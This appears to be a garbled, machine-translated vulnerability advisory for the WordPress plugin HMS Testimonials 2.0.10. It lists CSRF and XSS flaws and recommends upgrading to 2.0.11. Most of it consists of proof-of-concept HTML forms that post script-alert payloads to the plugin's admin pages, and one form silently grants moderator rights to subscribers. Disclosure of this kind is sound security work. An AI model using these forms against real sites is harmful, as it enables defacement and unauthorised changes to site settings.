Wordpress HMS Testimonials Plugin 2.0.10 multiple defects and repair

Affected program: HMS Testimonials ( http://wordpress.org/plugins/hms-testimonials/ ) Affected Version: 2.0.10 type: Wordpress plug-in developer: Jeff Kreitner ( http://profiles.wordpress.org/kreitje/ ) Defects:-Cross-Site Request Forgery (CWE-352)-Cross-Site Scripting (CWE-79) overview ================================== Display your customer testimonials on pages or posts. use groups to organize and display specific testimonnials on specific pages. defect: This plugin is vulnerable to CSRF on all forms, as well as XSS on some of them 1. testimonials is vulnerable to CSRF and XSS2. Group is vulnerable to CSRF3. Settings3. 1. default is vulnerable to CSRF3.2. Advanced is vulnerable to CSRF3.3. Custom Fields is vulnerable to CSRF and XSS3.4. Templates is vulnerable to CSRF and XSS This can be used in wrong different ways, like defacement of both public site and the admin area (only the HMS Testimonials plugin area will be affected), modify settings to set a lower role as moderator (very harmful on sites with open regi Strations), etc. test Certificate ===============================1. testimonial <form method = "post" action = "http: // www.2cto.com/wp-admin/admin. php? Page = hms-testimonials-addnew "> <input type =" hidden "name =" name "value =" <script> alert ('xss ') </script> "> <input type =" hidden "name =" image "value =" <script> alert ('xsss ') </script> "> <input type =" hidden "name =" testimonial_date "value =" 08/08/2013 "> <input type =" hidden "name =" url "value =" <script> alert (String. fromCharCode (88,83, 83) </script> "> <input type =" hidden "name =" testimonial "value =" <script> alert ('xsss ') </script> "> <input type =" hidden "name =" display "value =" 1 "> <input type =" submit "name =" save "value =" Save testimonial "> </form> 2. group <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-addnewgroup&noheader=true "> <Input type =" hidden "name =" name "value =" New group "> <input type =" submit "name =" save "value =" Save Group "> </form> 3.1. settings-Default <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings "> <Input type =" hidden "name =" active_links_nofollow "value =" 1 "> <input type =" hidden "name =" image_width "value = '000000'> <input type = "hidden" name = "image_height" value = '000000'> <input type = "hidden" name = "date_format" value ='m/d/Y "> <script> alert (3) </script> '> <input type = "hidden" name = "testimonial_container" value = 'div'> <input type = "hidden" name = "recaptcha_publickey" value = ""> <input type = "hidden" name = "recaptcha_privatekey" value = ""> <input type = "submit" name = "save" value = "Save Settings (Default) "> </form> 3.2. settings-Advanced <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings -Advanced "> <input type =" hidden "name =" moderator "value =" subscriber "> <input type =" hidden "name =" roles "value =" subscriber "> <input type = "hidden" name = "num_users_can_create" value = "9999"> <input type = "hidden" name = "autoapprove" value = "subscriber"> <input type = "hidden" name = "moderators_can_access_settings" value = "1"> <input type = "hidden" name = "js_load" value = "1"> <input type = "hidden" name = "roleorder []" value = "editor"> <input type = "hidden" name = "roleorder []" value = "author"> <input type = "hidden" name = "roleorder []" value = "contributor"> <input type = "hidden" name = "roleorder []" value = "subscriber"> <input type = "submit" name = "save" value = "Save Settings (Advanced) "> </form> 3.3. settings-Custom Fields <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings -Fields "> <input type =" hidden "name =" name "value =" xss "> <input type =" hidden "name =" type "value =" textarea "> <input type = "hidden" name = "showonform" value = "1"> <input type = "submit" name = "save" value = "Save Settings (Custom Fields) "> </form> 3.4. settings-Template <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-templates-new "> <Input type =" hidden "name =" name "value =" New template <script> alert ('xsss ') </script> "> <input type =" hidden "name =" item [] "value =" system_id "> <input type =" submit "name =" save "value = "Settings Templates (Save) "> </form> solution: upgrade to HMS Testimonials 2.0.11.